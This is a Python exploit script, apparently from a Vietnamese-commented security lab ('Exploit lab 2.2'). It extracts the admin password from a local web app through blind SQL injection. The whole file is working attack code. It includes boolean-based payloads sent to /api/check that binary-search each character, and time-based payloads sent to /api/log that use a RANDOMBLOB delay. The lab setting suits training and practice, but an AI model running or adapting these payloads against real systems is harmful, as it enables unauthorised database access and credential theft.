#!/usr/bin/env python3
"""
Exploit lab 2.2 - Blind SQLi.
Trich mat khau 'admin' (FLAG) theo 2 duong:
  1) boolean-based qua /api/check (nhanh, binary search tung ky tu)
  2) time-based  qua /api/log   (khong co boolean, do tre de suy true/false)

Dung: PORT=8022 python3 exploit.py
"""
import os
import sys
import time
import urllib.parse
import urllib.request

PORT = os.environ.get("PORT", "8022")
BASE = "http://127.0.0.1:%s" % PORT

# subquery lay mat khau admin, dung lai nhieu lan
SUBQ = "(SELECT password FROM users WHERE username='admin')"


def http(path, user):
    url = BASE + path + "?user=" + urllib.parse.quote(user)
    t = time.time()
    with urllib.request.urlopen(url, timeout=30) as r:
        body = r.read().decode()
    return body.strip(), time.time() - t


# ---------- 1. BOOLEAN-BASED ----------

def oracle_bool(cond):
    # Tra True neu dieu kien dung (server tra FOUND)
    payload = "admin' AND (%s)-- -" % cond
    body, _ = http("/api/check", payload)
    return body == "FOUND"


def find_length():
    # Tim do dai mat khau admin bang binary search tren length()
    lo, hi = 1, 128
    # xac nhan can tren
    while not oracle_bool("length(%s) <= %d" % (SUBQ, hi)):
        lo = hi + 1
        hi *= 2
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle_bool("length(%s) <= %d" % (SUBQ, mid)):
            hi = mid
        else:
            lo = mid + 1
    return lo


def extract_char_bool(i):
    # Binary search codepoint cua ky tu thu i (1-based)
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        cond = "unicode(substr(%s,%d,1)) > %d" % (SUBQ, i, mid)
        if oracle_bool(cond):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)


def boolean_extract():
    print("=" * 60)
    print("[1] BOOLEAN-BASED qua /api/check (oracle FOUND/NOTFOUND)")
    print("=" * 60)
    # minh hoa oracle
    print("  admin' AND 1=1 -> %s" % ("FOUND" if oracle_bool("1=1") else "NOTFOUND"))
    print("  admin' AND 1=2 -> %s" % ("FOUND" if oracle_bool("1=2") else "NOTFOUND"))
    n = find_length()
    print("  Do dai mat khau admin = %d" % n)
    out = ""
    reqs = 0
    for i in range(1, n + 1):
        c = extract_char_bool(i)
        out += c
        reqs += 7  # ~log2(95) request moi ky tu
        sys.stdout.write("\r  Trich: %s" % out)
        sys.stdout.flush()
    print("\n  => Mat khau admin (FLAG): %s" % out)
    return out


# ---------- 2. TIME-BASED ----------

BLOB = 90_000_000   # ~1.1s tren may lab (xem README de hieu chinh)
THRESHOLD = 0.5     # tre > 0.5s coi la TRUE


def oracle_time(cond):
    # Neu cond dung -> chay HEX(RANDOMBLOB) ton thoi gian -> do tre
    payload = ("admin' AND CASE WHEN (%s) THEN "
               "LIKE('A', HEX(RANDOMBLOB(%d))) ELSE 0 END-- -"
               % (cond, BLOB))
    _, dt = http("/api/log", payload)
    return dt > THRESHOLD, dt


def time_extract(nchars):
    print("=" * 60)
    print("[2] TIME-BASED qua /api/log (luon tra 'ok', chi do tre)")
    print("=" * 60)
    ok, dt = oracle_time("1=1")
    print("  CASE WHEN 1=1 -> tre %.2fs (TRUE)" % dt)
    ok, dt = oracle_time("1=2")
    print("  CASE WHEN 1=2 -> tre %.2fs (FALSE)" % dt)
    out = ""
    for i in range(1, nchars + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            cond = "unicode(substr(%s,%d,1)) > %d" % (SUBQ, i, mid)
            is_true, _ = oracle_time(cond)
            if is_true:
                lo = mid + 1
            else:
                hi = mid
        out += chr(lo)
        print("  ky tu %d = %r  (chuoi: %s)" % (i, chr(lo), out))
    print("  => %d ky tu dau trich bang TIME-BASED: %s" % (nchars, out))
    return out


if __name__ == "__main__":
    t0 = time.time()
    pw = boolean_extract()
    print()
    first = time_extract(4)
    print()
    assert pw.startswith(first), "time-based khong khop boolean!"
    print("[OK] time-based khop boolean (%s...). Tong thoi gian %.1fs"
          % (first, time.time() - t0))
